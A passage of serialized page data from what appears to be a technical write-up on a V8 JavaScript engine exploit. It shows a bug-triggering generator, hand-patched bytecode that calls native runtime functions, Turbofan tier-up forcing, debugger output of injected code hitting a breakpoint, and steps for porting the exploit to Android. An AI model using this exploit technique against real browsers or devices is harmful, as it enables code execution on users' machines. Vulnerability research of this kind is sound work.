r",{"type":22,"tag":264,"props":137237,"children":137238},{"style":4309},[137239],{"type":27,"value":4312},{"type":22,"tag":264,"props":137241,"children":137242},{"style":4401},[137243],{"type":27,"value":137244}," bug",{"type":22,"tag":264,"props":137246,"children":137247},{"style":1539},[137248],{"type":27,"value":2660},{"type":22,"tag":264,"props":137250,"children":137251},{"style":1549},[137252],{"type":27,"value":135113},{"type":22,"tag":264,"props":137254,"children":137255},{"style":1539},[137256],{"type":27,"value":4380},{"type":22,"tag":264,"props":137258,"children":137259},{"style":1549},[137260],{"type":27,"value":126442},{"type":22,"tag":264,"props":137262,"children":137263},{"style":1539},[137264],{"type":27,"value":210},{"type":22,"tag":264,"props":137266,"children":137267},{"style":1549},[137268],{"type":27,"value":126442},{"type":22,"tag":264,"props":137270,"children":137271},{"style":1539},[137272],{"type":27,"value":5142},{"type":22,"tag":264,"props":137274,"children":137275},{"class":1534,"line":4948},[137276,137281,137285,137289,137293,137297,137301,137305,137310,137314],{"type":22,"tag":264,"props":137277,"children":137278},{"style":1549},[137279],{"type":27,"value":137280},"  result",{"type":22,"tag":264,"props":137282,"children":137283},{"style":4309},[137284],{"type":27,"value":4312},{"type":22,"tag":264,"props":137286,"children":137287},{"style":1539},[137288],{"type":27,"value":4370},{"type":22,"tag":264,"props":137290,"children":137291},{"style":4328},[137292],{"type":27,"value":34232},{"type":22,"tag":264,"props":137294,"children":137295},{"style":1549},[137296],{"type":27,"value":137235},{"type":22,"tag":264,"props":137298,"children":137299},{"style":1539},[137300],{"type":27,"value":210},{"type":22,"tag":264,"props":137302,"children":137303},{"style":4401},[137304],{"type":27,"value":58886},{"type":22,"tag":264,"props":137306,"children":137307},{"style":1539},[137308],{"type":27,"value":137309},"()).",{"type":22,"tag":264,"props":137311,"children":137312},{"style":1549},[137313],{"type":27,"value":40466},{"type":22,"tag":264,"props":137315,"children":137316},{"style":1539},[137317],{"type":27,"value":4322},{"type":22,"tag":264,"props":137319,"children":137320},{"class":1534,"line":4957},[137321,137325,137330,137334,137338,137342,137346,137350,137354,137358],{"type":22,"tag":264,"props":137322,"children":137323},{"style":4293},[137324],{"type":27,"value":37503},{"type":22,"tag":264,"props":137326,"children":137327},{"style":1549},[137328],{"type":27,"value":137329}," wasm_instance",{"type":22,"tag":264,"props":137331,"children":137332},{"style":4309},[137333],{"type":27,"value":4312},{"type":22,"tag":264,"props":137335,"children":137336},{"style":4293},[137337],{"type":27,"value":33248},{"type":22,"tag":264,"props":137339,"children":137340},{"style":1549},[137341],{"type":27,"value":135096},{"type":22,"tag":264,"props":137343,"children":137344},{"style":1539},[137345],{"type":27,"value":210},{"type":22,"tag":264,"props":137347,"children":137348},{"style":4401},[137349],{"type":27,"value":135150},{"type":22,"tag":264,"props":137351,"children":137352},{"style":1539},[137353],{"type":27,"value":2660},{"type":22,"tag":264,"props":137355,"children":137356},{"style":1549},[137357],{"type":27,"value":10379},{"type":22,"tag":264,"props":137359,"children":137360},{"style":1539},[137361],{"type":27,"value":5142},{"type":22,"tag":264,"props":137363,"children":137364},{"class":1534,"line":4980},[137365,137369,137373,137377,137381,137385,137389,137393,137397],{"type":22,"tag":264,"props":137366,"children":137367},{"style":4293},[137368],{"type":27,"value":37503},{"type":22,"tag":264,"props":137370,"children":137371},{"style":1549},[137372],{"type":27,"value":34287},{"type":22,"tag":264,"props":137374,"children":137375},{"style":4309},[137376],{"type":27,"value":4312},{"type":22,"tag":264,"props":137378,"children":137379},{"style":1549},[137380],{"type":27,"value":137329},{"type":22,"tag":264,"props":137382,"children":137383},{"style":1539},[137384],{"type":27,"value":210},{"type":22,"tag":264,"props":137386,"children":137387},{"style":1549},[137388],{"type":27,"value":39200},{"type":22,"tag":264,"props":137390,"children":137391},{"style":1539},[137392],{"type":27,"value":210},{"type":22,"tag":264,"props":137394,"children":137395},{"style":1549},[137396],{"type":27,"value":135199},{"type":22,"tag":264,"props":137398,"children":137399},{"style":1539},[137400],{"type":27,"value":4322},{"type":22,"tag":264,"props":137402,"children":137403},{"class":1534,"line":4989},[137404,137409],{"type":22,"tag":264,"props":137405,"children":137406},{"style":4401},[137407],{"type":27,"value":137408},"  f",{"type":22,"tag":264,"props":137410,"children":137411},{"style":1539},[137412],{"type":27,"value":4977},{"type":22,"tag":264,"props":137414,"children":137415},{"class":1534,"line":4998},[137416],{"type":22,"tag":264,"props":137417,"children":137418},{"style":1539},[137419],{"type":27,"value":103306},{"type":22,"tag":23,"props":137421,"children":137422},{},[137423],{"type":27,"value":137424},"Running this in a debugger shows the expected breakpoint:",{"type":22,"tag":618,"props":137426,"children":137428},{"code":137427},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[137429],{"type":22,"tag":257,"props":137430,"children":137431},{"__ignoreMap":7},[137432],{"type":27,"value":137427},{"type":22,"tag":181,"props":137434,"children":137436},{"id":137435},"porting-to-android",[137437],{"type":27,"value":137438},"Porting to Android",{"type":22,"tag":23,"props":137440,"children":137441},{},[137442,137444,137449,137451,137456,137458,137463,137465,137471],{"type":27,"value":137443},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":22,"tag":257,"props":137445,"children":137447},{"className":137446},[],[137448],{"type":27,"value":134228},{"type":27,"value":137450}," fails. We cross-compiled ",{"type":22,"tag":257,"props":137452,"children":137454},{"className":137453},[],[137455],{"type":27,"value":133389},{"type":27,"value":137457}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":22,"tag":257,"props":137459,"children":137461},{"className":137460},[],[137462],{"type":27,"value":134228},{"type":27,"value":137464}," returned ",{"type":22,"tag":257,"props":137466,"children":137468},{"className":137467},[],[137469],{"type":27,"value":137470},"undefined",{"type":27,"value":210},{"type":22,"tag":23,"props":137473,"children":137474},{},[137475,137477,137482,137484,137489],{"type":27,"value":137476},"Instead, we modified the bytecode to call ",{"type":22,"tag":257,"props":137478,"children":137480},{"className":137479},[],[137481],{"type":27,"value":134254},{"type":27,"value":137483}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":22,"tag":257,"props":137485,"children":137487},{"className":137486},[],[137488],{"type":27,"value":134228},{"type":27,"value":210},{"type":22,"tag":618,"props":137491,"children":137493},{"code":137492,"language":36930,"meta":7,"className":36928,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[137494],{"type":22,"tag":257,"props":137495,"children":137496},{"__ignoreMap":7},[137497,137508,137552,137572,137588,137611,137638,137653],{"type":22,"tag":264,"props":137498,"children":137499},{"class":1534,"line":1535},[137500,137504],{"type":22,"tag":264,"props":137501,"children":137502},{"style":4328},[137503],{"type":27,"value":49651},{"type":22,"tag":264,"props":137505,"children":137506},{"style":1539},[137507],{"type":27,"value":4594},{"type":22,"tag":264,"props":137509,"children":137510},{"class":1534,"line":1545},[137511,137515,137519,137523,137527,137531,137535,137540,137544,137548],{"type":22,"tag":264,"props":137512,"children":137513},{"style":1549},[137514],{"type":27,"value":134495},{"type":22,"tag":264,"props":137516,"children":137517},{"style":1539},[137518],{"type":27,"value":77944},{"type":22,"tag":264,"props":137520,"children":137521},{"style":1597},[137522],{"type":27,"value":134504},{"type":22,"tag":264,"props":137524,"children":137525},{"style":1539},[137526],{"type":27,"value":210},{"type":22,"tag":264,"props":137528,"children":137529},{"style":4401},[137530],{"type":27,"value":134513},{"type":22,"tag":264,"props":137532,"children":137533},{"style":1539},[137534],{"type":27,"value":2660},{"type":22,"tag":264,"props":137536,"children":137537},{"style":4344},[137538],{"type":27,"value":137539},"0x059301",{"type":22,"tag":264,"props":137541,"children":137542},{"style":4309},[137543],{"type":27,"value":52576},{"type":22,"tag":264,"props":137545,"children":137546},{"style":4344},[137547],{"type":27,"value":5817},{"type":22,"tag":264,"props":137549,"children":137550},{"style":1539},[137551],{"type":27,"value":134535},{"type":22,"tag":264,"props":137553,"children":137554},{"class":1534,"line":1560},[137555,137559,137563,137568],{"type":22,"tag":264,"props":137556,"children":137557},{"style":1549},[137558],{"type":27,"value":134543},{"type":22,"tag":264,"props":137560,"children":137561},{"style":4309},[137562],{"type":27,"value":10200},{"type":22,"tag":264,"props":137564,"children":137565},{"style":4344},[137566],{"type":27,"value":137567}," 0x03027a6c",{"type":22,"tag":264,"props":137569,"children":137570},{"style":1539},[137571],{"type":27,"value":4322},{"type":22,"tag":264,"props":137573,"children":137574},{"class":1534,"line":1569},[137575,137579,137584],{"type":22,"tag":264,"props":137576,"children":137577},{"style":4328},[137578],{"type":27,"value":36516},{"type":22,"tag":264,"props":137580,"children":137581},{"style":4344},[137582],{"type":27,"value":137583}," 0x393e71a",{"type":22,"tag":264,"props":137585,"children":137586},{"style":1539},[137587],{"type":27,"value":4322},{"type":22,"tag":264,"props":137589,"children":137590},{"class":1534,"line":1583},[137591,137595,137599,137603,137607],{"type":22,"tag":264,"props":137592,"children":137593},{"style":1539},[137594],{"type":27,"value":48193},{"type":22,"tag":264,"props":137596,"children":137597},{"style":4328},[137598],{"type":27,"value":49731},{"type":22,"tag":264,"props":137600,"children":137601},{"style":1539},[137602],{"type":27,"value":4370},{"type":22,"tag":264,"props":137604,"children":137605},{"style":1549},[137606],{"type":27,"value":52775},{"type":22,"tag":264,"props":137608,"children":137609},{"style":1539},[137610],{"type":27,"value":16103},{"type":22,"tag":264,"props":137612,"children":137613},{"class":1534,"line":1603},[137614,137618,137622,137626,137630,137634],{"type":22,"tag":264,"props":137615,"children":137616},{"style":1549},[137617],{"type":27,"value":103265},{"type":22,"tag":264,"props":137619,"children":137620},{"style":1539},[137621],{"type":27,"value":210},{"type":22,"tag":264,"props":137623,"children":137624},{"style":4401},[137625],{"type":27,"value":103274},{"type":22,"tag":264,"props":137627,"children":137628},{"style":1539},[137629],{"type":27,"value":2660},{"type":22,"tag":264,"props":137631,"children":137632},{"style":1597},[137633],{"type":27,"value":134619},{"type":22,"tag":264,"props":137635,"children":137636},{"style":1539},[137637],{"type":27,"value":5142},{"type":22,"tag":264,"props":137639,"children":137640},{"class":1534,"line":1612},[137641,137645,137649],{"type":22,"tag":264,"props":137642,"children":137643},{"style":4328},[137644],{"type":27,"value":134631},{"type":22,"tag":264,"props":137646,"children":137647},{"style":1549},[137648],{"type":27,"value":134636},{"type":22,"tag":264,"props":137650,"children":137651},{"style":1539},[137652],{"type":27,"value":4322},{"type":22,"tag":264,"props":137654,"children":137655},{"class":1534,"line":1621},[137656],{"type":22,"tag":264,"props":137657,"children":137658},{"style":1539},[137659],{"type":27,"value":1692},{"type":22,"tag":23,"props":137661,"children":137662},{},[137663,137665,137671,137673,137679,137681,137687,137689,137694,137696,137702,137704,137709,137710,137716],{"type":27,"value":137664},"Here, ",{"type":22,"tag":257,"props":137666,"children":137668},{"className":137667},[],[137669],{"type":27,"value":137670},"a1 + 0x03027a6c",{"type":27,"value":137672}," generates the bytes ",{"type":22,"tag":257,"props":137674,"children":137676},{"className":137675},[],[137677],{"type":27,"value":137678},"01 4b 6c 7a 02 03",{"type":27,"value":137680},", where ",{"type":22,"tag":257,"props":137682,"children":137684},{"className":137683},[],[137685],{"type":27,"value":137686},"0x6c",{"type":27,"value":137688}," is the ",{"type":22,"tag":257,"props":137690,"children":137692},{"className":137691},[],[137693],{"type":27,"value":134212},{"type":27,"value":137695}," opcode, ",{"type":22,"tag":257,"props":137697,"children":137699},{"className":137698},[],[137700],{"type":27,"value":137701},"0x027a",{"type":27,"value":137703}," is the function ID of ",{"type":22,"tag":257,"props":137705,"children":137707},{"className":137706},[],[137708],{"type":27,"value":134254},{"type":27,"value":7780},{"type":22,"tag":257,"props":137711,"children":137713},{"className":137712},[],[137714],{"type":27,"value":137715},"0x03",{"type":27,"value":137717}," is the register index holding its first argument.",{"type":22,"tag":23,"props":137719,"children":137720},{},[137721,137723,137728,137729,137734,137736,137741],{"type":27,"value":137722},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":22,"tag":257,"props":137724,"children":137726},{"className":137725},[],[137727],{"type":27,"value":134254},{"type":27,"value":12290},{"type":22,"tag":257,"props":137730,"children":137732},{"className":137731},[],[137733],{"type":27,"value":135222},{"type":27,"value":137735},". To avoid patching the bytecode again to invoke ",{"type":22,"tag":257,"props":137737,"children":137739},{"className":137738},[],[137740],{"type":27,"value":135222},{"type":27,"value":137742},", we can force Turbofan to compile the target function like this:",{"type":22,"tag":618,"props":137744,"children":137746},{"code":137745,"language":36930,"meta":7,"className":36928,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[137747],{"type":22,"tag":257,"props":137748,"children":137749},{"__ignoreMap":7},[137750,137758,137818,137830],{"type":22,"tag":264,"props":137751,"children":137752},{"class":1534,"line":1535},[137753],{"type":22,"tag":264,"props":137754,"children":137755},{"style":4284},[137756],{"type":27,"value":137757},"// %WasmTierUpFunction(func);\n",{"type":22,"tag":264,"props":137759,"children":137760},{"class":1534,"line":1545},[137761,137765,137769,137773,137777,137781,137785,137789,137793,137797,137802,137806,137810,137814],{"type":22,"tag":264,"props":137762,"children":137763},{"style":4328},[137764],{"type":27,"value":4696},{"type":22,"tag":264,"props":137766,"children":137767},{"style":1539},[137768],{"type":27,"value":4370},{"type":22,"tag":264,"props":137770,"children":137771},{"style":4293},[137772],{"type":27,"value":13086},{"type":22,"tag":264,"props":137774,"children":137775},{"style":1549},[137776],{"type":27,"value":4701},{"type":22,"tag":264,"props":137778,"children":137779},{"style":4309},[137780],{"type":27,"value":4312},{"type":22,"tag":264,"props":137782,"children":137783},{"style":4344},[137784],{"type":27,"value":4347},{"type":22,"tag":264,"props":137786,"children":137787},{"style":1539},[137788],{"type":27,"value":18529},{"type":22,"tag":264,"props":137790,"children":137791},{"style":1549},[137792],{"type":27,"value":5050},{"type":22,"tag":264,"props":137794,"children":137795},{"style":4309},[137796],{"type":27,"value":10014},{"type":22,"tag":264,"props":137798,"children":137799},{"style":4344},[137800],{"type":27,"value":137801}," 0x100000",{"type":22,"tag":264,"props":137803,"children":137804},{"style":1539},[137805],{"type":27,"value":18529},{"type":22,"tag":264,"props":137807,"children":137808},{"style":1549},[137809],{"type":27,"value":5050},{"type":22,"tag":264,"props":137811,"children":137812},{"style":4309},[137813],{"type":27,"value":52590},{"type":22,"tag":264,"props":137815,"children":137816},{"style":1539},[137817],{"type":27,"value":16103},{"type":22,"tag":264,"props":137819,"children":137820},{"class":1534,"line":1560},[137821,137826],{"type":22,"tag":264,"props":137822,"children":137823},{"style":4401},[137824],{"type":27,"value":137825},"  func",{"type":22,"tag":264,"props":137827,"children":137828},{"style":1539},[137829],{"type":27,"value":4977},{"type":22,"tag":264,"props":137831,"children":137832},{"class":1534,"line":1569},[137833],{"type":22,"tag":264,"props":137834,"children":137835},{"style":1539},[137836],{"type":27,"value":1692},{"type":22,"tag":23,"props":137838,"children":137839},{},[137840],{"type":27,"value":137841},"Finally, running this code on the device:",{"type":22,"tag":618,"props":137843,"children":137845},{"code":137844,"language":36930,"meta":7,"className":36928,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[137846],{"type":22,"tag":257,"props":137847,"children":137848},{"__ignoreMap":7},[137849,137872,137900,138119,138186,138193,138236,138279,138318,138325,138333,138393,138405,138412,138419,138450,138493,138520,138527,138563,138626],{"type":22,"tag":264,"props":137850,"children":137851},{"class":1534,"line":1535},[137852,137856,137860,137864,137868],{"type":22,"tag":264,"props":137853,"children":137854},{"style":1539},[137855],{"type":27,"value":2660},{"type":22,"tag":264,"props":137857,"children":137858},{"style":4293},[137859],{"type":27,"value":37460},{"type":22,"tag":264,"props":137861,"children":137862},{"style":1539},[137863],{"type":27,"value":41011},{"type":22,"tag":264,"props":137865,"children":137866},{"style":4293},[137867],{"type":27,"value":16121},{"type":22,"tag":264,"props":137869,"children":137870},{"style":1539},[137871],{"type":27,"value":4594},{"type":22,"tag":264,"props":137873,"children":137874},{"class":1534,"line":1545},[137875,137880,137884,137888,137892,137896],{"type":22,"tag":264,"props":137876,"children":137877},{"style":4293},[137878],{"type":27,"value":137879},"  var",{"type":22,"tag":264,"props":137881,"children":137882},{"style":1549},[137883],{"type":27,"value":134752},{"type":22,"tag":264,"props":137885,"children":137886},{"style":4309},[137887],{"type":27,"value":4312},{"type":22,"tag":264,"props":137889,"children":137890},{"style":4293},[137891],{"type":27,"value":33248},{"type":22,"tag":264,"props":137893,"children":137894},{"style":4401},[137895],{"type":27,"value":134765},{"type":22,"tag":264,"props":137897,"children":137898},{"style":1539},[137899],{"type":27,"value":134770},{"type":22,"tag":264,"props":137901,"children":137902},{"class":1534,"line":1560},[137903,137907,137911,137915,137919,137923,137927,137931,137935,137939,137943,137947,137951,137955,137959,137963,137967,137971,137975,137979,137983,137987,137991,137995,137999,138003,138007,138011,138015,138019,138023,138027,138031,138035,138039,138043,138047,138051,138055,138059,138063,138067,138071,138075,138079,138083,138087,138091,138095,138099,138103,138107,138111,138115],{"type":22,"tag":264,"props":137904,"children":137905},{"style":4344},[137906],{"type":27,"value":135495},{"type":22,"tag":264,"props":137908,"children":137909},{"style":1539},[137910],{"type":27,"value":4380},{"type":22,"tag":264,"props":137912,"children":137913},{"style":4344},[137914],{"type":27,"value":134787},{"type":22,"tag":264,"props":137916,"children":137917},{"style":1539},[137918],{"type":27,"value":4380},{"type":22,"tag":264,"props":137920,"children":137921},{"style":4344},[137922],{"type":27,"value":134796},{"type":22,"tag":264,"props":137924,"children":137925},{"style":1539},[137926],{"type":27,"value":4380},{"type":22,"tag":264,"props":137928,"children":137929},{"style":4344},[137930],{"type":27,"value":134805},{"type":22,"tag":264,"props":137932,"children":137933},{"style":1539},[137934],{"type":27,"value":4380},{"type":22,"tag":264,"props":137936,"children":137937},{"style":4344},[137938],{"type":27,"value":602},{"type":22,"tag":264,"props":137940,"children":137941},{"style":1539},[137942],{"type":27,"value":4380},{"type":22,"tag":264,"props":137944,"children":137945},{"style":4344},[137946],{"type":27,"value":5334},{"type":22,"tag":264,"props":137948,"children":137949},{"style":1539},[137950],{"type":27,"value":4380},{"type":22,"tag":264,"props":137952,"children":137953},{"style":4344},[137954],{"type":27,"value":5334},{"type":22,"tag":264,"props":137956,"children":137957},{"style":1539},[137958],{"type":27,"value":4380},{"type":22,"tag":264,"props":137960,"children":137961},{"style":4344},[137962],{"type":27,"value":5334},{"type":22,"tag":264,"props":137964,"children":137965},{"style":1539},[137966],{"type":27,"value":4380},{"type":22,"tag":264,"props":137968,"children":137969},{"style":4344},[137970],{"type":27,"value":602},{"type":22,"tag":264,"props":137972,"children":137973},{"style":1539},[137974],{"type":27,"value":4380},{"type":22,"tag":264,"props":137976,"children":137977},{"style":4344},[137978],{"type":27,"value":18831},{"type":22,"tag":264,"props":137980,"children":137981},{"style":1539},[137982],{"type":27,"value":4380},{"type":22,"tag":264,"props":137984,"children":137985},{"style":4344},[137986],{"type":27,"value":602},{"type":22,"tag":264,"props":137988,"children":137989},{"style":1539},[137990],{"type":27,"value":4380},{"type":22,"tag":264,"props":137992,"children":137993},{"style":4344},[137994],{"type":27,"value":134870},{"type":22,"tag":264,"props":137996,"children":137997},{"style":1539},[137998],{"type":27,"value":4380},{"type":22,"tag":264,"props":138000,"children":138001},{"style":4344},[138002],{"type":27,"value":5334},{"type":22,"tag":264,"props":138004,"children":138005},{"style":1539},[138006],{"type":27,"value":4380},{"type":22,"tag":264,"props":138008,"children":138009},{"style":4344},[138010],{"type":27,"value":5334},{"type":22,"tag":264,"props":138012,"children":138013},{"style":1539},[138014],{"type":27,"value":4380},{"type":22,"tag":264,"props":138016,"children":138017},{"style":4344},[138018],{"type":27,"value":18598},{"type":22,"tag":264,"props":138020,"children":138021},{"style":1539},[138022],{"type":27,"value":4380},{"type":22,"tag":264,"props":138024,"children":138025},{"style":4344},[138026],{"type":27,"value":3568},{"type":22,"tag":264,"props":138028,"children":138029},{"style":1539},[138030],{"type":27,"value":4380},{"type":22,"tag":264,"props":138032,"children":138033},{"style":4344},[138034],{"type":27,"value":602},{"type":22,"tag":264,"props":138036,"children":138037},{"style":1539},[138038],{"type":27,"value":4380},{"type":22,"tag":264,"props":138040,"children":138041},{"style":4344},[138042],{"type":27,"value":5334},{"type":22,"tag":264,"props":138044,"children":138045},{"style":1539},[138046],{"type":27,"value":4380},{"type":22,"tag":264,"props":138048,"children":138049},{"style":4344},[138050],{"type":27,"value":55992},{"type":22,"tag":264,"props":138052,"children":138053},{"style":1539},[138054],{"type":27,"value":4380},{"type":22,"tag":264,"props":138056,"children":138057},{"style":4344},[138058],{"type":27,"value":57206},{"type":22,"tag":264,"props":138060,"children":138061},{"style":1539},[138062],{"type":27,"value":4380},{"type":22,"tag":264,"props":138064,"children":138065},{"style":4344},[138066],{"type":27,"value":602},{"type":22,"tag":264,"props":138068,"children":138069},{"style":1539},[138070],{"type":27,"value":4380},{"type":22,"tag":264,"props":138072,"children":138073},{"style":4344},[138074],{"type":27,"value":885},{"type":22,"tag":264,"props":138076,"children":138077},{"style":1539},[138078],{"type":27,"value":4380},{"type":22,"tag":264,"props":138080,"children":138081},{"style":4344},[138082],{"type":27,"value":134796},{"type":22,"tag":264,"props":138084,"children":138085},{"style":1539},[138086],{"type":27,"value":4380},{"type":22,"tag":264,"props":138088,"children":138089},{"style":4344},[138090],{"type":27,"value":134967},{"type":22,"tag":264,"props":138092,"children":138093},{"style":1539},[138094],{"type":27,"value":4380},{"type":22,"tag":264,"props":138096,"children":138097},{"style":4344},[138098],{"type":27,"value":134976},{"type":22,"tag":264,"props":138100,"children":138101},{"style":1539},[138102],{"type":27,"value":4380},{"type":22,"tag":264,"props":138104,"children":138105},{"style":4344},[138106],{"type":27,"value":134985},{"type":22,"tag":264,"props":138108,"children":138109},{"style":1539},[138110],{"type":27,"value":4380},{"type":22,"tag":264,"props":138112,"children":138113},{"style":4344},[138114],{"type":27,"value":134985},{"type":22,"tag":264,"props":138116,"children":138117},{"style":1539},[138118],{"type":27,"value":4812},{"type":22,"tag":264,"props":138120,"children":138121},{"class":1534,"line":1569},[138122,138126,138130,138134,138138,138142,138146,138150,138154,138158,138162,138166,138170,138174,138178,138182],{"type":22,"tag":264,"props":138123,"children":138124},{"style":4344},[138125],{"type":27,"value":135495},{"type":22,"tag":264,"props":138127,"children":138128},{"style":1539},[138129],{"type":27,"value":4380},{"type":22,"tag":264,"props":138131,"children":138132},{"style":4344},[138133],{"type":27,"value":5334},{"type":22,"tag":264,"props":138135,"children":138136},{"style":1539},[138137],{"type":27,"value":4380},{"type":22,"tag":264,"props":138139,"children":138140},{"style":4344},[138141],{"type":27,"value":346},{"type":22,"tag":264,"props":138143,"children":138144},{"style":1539},[138145],{"type":27,"value":4380},{"type":22,"tag":264,"props":138147,"children":138148},{"style":4344},[138149],{"type":27,"value":18831},{"type":22,"tag":264,"props":138151,"children":138152},{"style":1539},[138153],{"type":27,"value":4380},{"type":22,"tag":264,"props":138155,"children":138156},{"style":4344},[138157],{"type":27,"value":602},{"type":22,"tag":264,"props":138159,"children":138160},{"style":1539},[138161],{"type":27,"value":4380},{"type":22,"tag":264,"props":138163,"children":138164},{"style":4344},[138165],{"type":27,"value":3568},{"type":22,"tag":264,"props":138167,"children":138168},{"style":1539},[138169],{"type":27,"value":4380},{"type":22,"tag":264,"props":138171,"children":138172},{"style":4344},[138173],{"type":27,"value":5334},{"type":22,"tag":264,"props":138175,"children":138176},{"style":1539},[138177],{"type":27,"value":4380},{"type":22,"tag":264,"props":138179,"children":138180},{"style":4344},[138181],{"type":27,"value":135061},{"type":22,"tag":264,"props":138183,"children":138184},{"style":1539},[138185],{"type":27,"value":4812},{"type":22,"tag":264,"props":138187,"children":138188},{"class":1534,"line":1583},[138189],{"type":22,"tag":264,"props":138190,"children":138191},{"style":1539},[138192],{"type":27,"value":135782},{"type":22,"tag":264,"props":138194,"children":138195},{"class":1534,"line":1603},[138196,138200,138204,138208,138212,138216,138220,138224,138228,138232],{"type":22,"tag":264,"props":138197,"children":138198},{"style":4293},[138199],{"type":27,"value":137879},{"type":22,"tag":264,"props":138201,"children":138202},{"style":1549},[138203],{"type":27,"value":72948},{"type":22,"tag":264,"props":138205,"children":138206},{"style":4309},[138207],{"type":27,"value":4312},{"type":22,"tag":264,"props":138209,"children":138210},{"style":4293},[138211],{"type":27,"value":33248},{"type":22,"tag":264,"props":138213,"children":138214},{"style":1549},[138215],{"type":27,"value":135096},{"type":22,"tag":264,"props":138217,"children":138218},{"style":1539},[138219],{"type":27,"value":210},{"type":22,"tag":264,"props":138221,"children":138222},{"style":4401},[138223],{"type":27,"value":87244},{"type":22,"tag":264,"props":138225,"children":138226},{"style":1539},[138227],{"type":27,"value":2660},{"type":22,"tag":264,"props":138229,"children":138230},{"style":1549},[138231],{"type":27,"value":135113},{"type":22,"tag":264,"props":138233,"children":138234},{"style":1539},[138235],{"type":27,"value":5142},{"type":22,"tag":264,"props":138237,"children":138238},{"class":1534,"line":1612},[138239,138243,138247,138251,138255,138259,138263,138267,138271,138275],{"type":22,"tag":264,"props":138240,"children":138241},{"style":4293},[138242],{"type":27,"value":137879},{"type":22,"tag":264,"props":138244,"children":138245},{"style":1549},[138246],{"type":27,"value":135129},{"type":22,"tag":264,"props":138248,"children":138249},{"style":4309},[138250],{"type":27,"value":4312},{"type":22,"tag":264,"props":138252,"children":138253},{"style":4293},[138254],{"type":27,"value":33248},{"type":22,"tag":264,"props":138256,"children":138257},{"style":1549},[138258],{"type":27,"value":135096},{"type":22,"tag":264,"props":138260,"children":138261},{"style":1539},[138262],{"type":27,"value":210},{"type":22,"tag":264,"props":138264,"children":138265},{"style":4401},[138266],{"type":27,"value":135150},{"type":22,"tag":264,"props":138268,"children":138269},{"style":1539},[138270],{"type":27,"value":2660},{"type":22,"tag":264,"props":138272,"children":138273},{"style":1549},[138274],{"type":27,"value":135159},{"type":22,"tag":264,"props":138276,"children":138277},{"style":1539},[138278],{"type":27,"value":5142},{"type":22,"tag":264,"props":138280,"children":138281},{"class":1534,"line":1621},[138282,138286,138290,138294,138298,138302,138306,138310,138314],{"type":22,"tag":264,"props":138283,"children":138284},{"style":4293},[138285],{"type":27,"value":137879},{"type":22,"tag":264,"props":138287,"children":138288},{"style":1549},[138289],{"type":27,"value":81335},{"type":22,"tag":264,"props":138291,"children":138292},{"style":4309},[138293],{"type":27,"value":4312},{"type":22,"tag":264,"props":138295,"children":138296},{"style":1549},[138297],{"type":27,"value":135129},{"type":22,"tag":264,"props":138299,"children":138300},{"style":1539},[138301],{"type":27,"value":210},{"type":22,"tag":264,"props":138303,"children":138304},{"style":1549},[138305],{"type":27,"value":39200},{"type":22,"tag":264,"props":138307,"children":138308},{"style":1539},[138309],{"type":27,"value":210},{"type":22,"tag":264,"props":138311,"children":138312},{"style":1549},[138313],{"type":27,"value":135199},{"type":22,"tag":264,"props":138315,"children":138316},{"style":1539},[138317],{"type":27,"value":4322},{"type":22,"tag":264,"props":138319,"children":138320},{"class":1534,"line":1629},[138321],{"type":22,"tag":264,"props":138322,"children":138323},{"emptyLinePlaceholder":17},[138324],{"type":27,"value":4986},{"type":22,"tag":264,"props":138326,"children":138327},{"class":1534,"line":1642},[138328],{"type":22,"tag":264,"props":138329,"children":138330},{"style":4284},[138331],{"type":27,"value":138332},"  // %WasmTierUpFunction(func);\n",{"type":22,"tag":264,"props":138334,"children":138335},{"class":1534,"line":1660},[138336,138341,138345,138349,138353,138357,138361,138365,138369,138373,138377,138381,138385,138389],{"type":22,"tag":264,"props":138337,"children":138338},{"style":4328},[138339],{"type":27,"value":138340},"  for",{"type":22,"tag":264,"props":138342,"children":138343},{"style":1539},[138344],{"type":27,"value":4370},{"type":22,"tag":264,"props":138346,"children":138347},{"style":4293},[138348],{"type":27,"value":13086},{"type":22,"tag":264,"props":138350,"children":138351},{"style":1549},[138352],{"type":27,"value":4701},{"type":22,"tag":264,"props":138354,"children":138355},{"style":4309},[138356],{"type":27,"value":4312},{"type":22,"tag":264,"props":138358,"children":138359},{"style":4344},[138360],{"type":27,"value":4347},{"type":22,"tag":264,"props":138362,"children":138363},{"style":1539},[138364],{"type":27,"value":18529},{"type":22,"tag":264,"props":138366,"children":138367},{"style":1549},[138368],{"type":27,"value":5050},{"type":22,"tag":264,"props":138370,"children":138371},{"style":4309},[138372],{"type":27,"value":10014},{"type":22,"tag":264,"props":138374,"children":138375},{"style":4344},[138376],{"type":27,"value":137801},{"type":22,"tag":264,"props":138378,"children":138379},{"style":1539},[138380],{"type":27,"value":18529},{"type":22,"tag":264,"props":138382,"children":138383},{"style":1549},[138384],{"type":27,"value":5050},{"type":22,"tag":264,"props":138386,"children":138387},{"style":4309},[138388],{"type":27,"value":52590},{"type":22,"tag":264,"props":138390,"children":138391},{"